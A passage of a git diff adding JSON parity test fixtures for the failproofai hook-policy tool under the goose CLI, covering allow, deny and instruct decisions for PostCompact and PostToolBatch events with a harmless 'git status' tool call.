+ "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PostCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..b2799f7a --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PostCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..44f797a7 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PostCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..04a1f0e7 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PostCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..23466c69 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PostCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..3468461d --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PostCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..2ea9b7ef --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PostCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..fbedc80e --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PostCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d42e7e95 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PostCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..6cd5649c --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PostCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..85acc881 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PostCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..dd4fa217 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PostCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..07b84ab6 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PostCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..4631f7bf --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PostCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..3a7bfe30 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolBatch/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PostToolBatch/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..41c98d19 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolBatch/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolBatch/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PostToolBatch/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..20806544 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolBatch/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolBatch/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PostToolBatch/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..6439340e --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolBatch/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolBatch/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PostToolBatch/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..5d533c11 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolBatch/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolBatch/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PostToolBatch/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..6c280f78 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolBatch/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolBatch/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PostToolBatch/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..38deaad5 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolBatch/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": 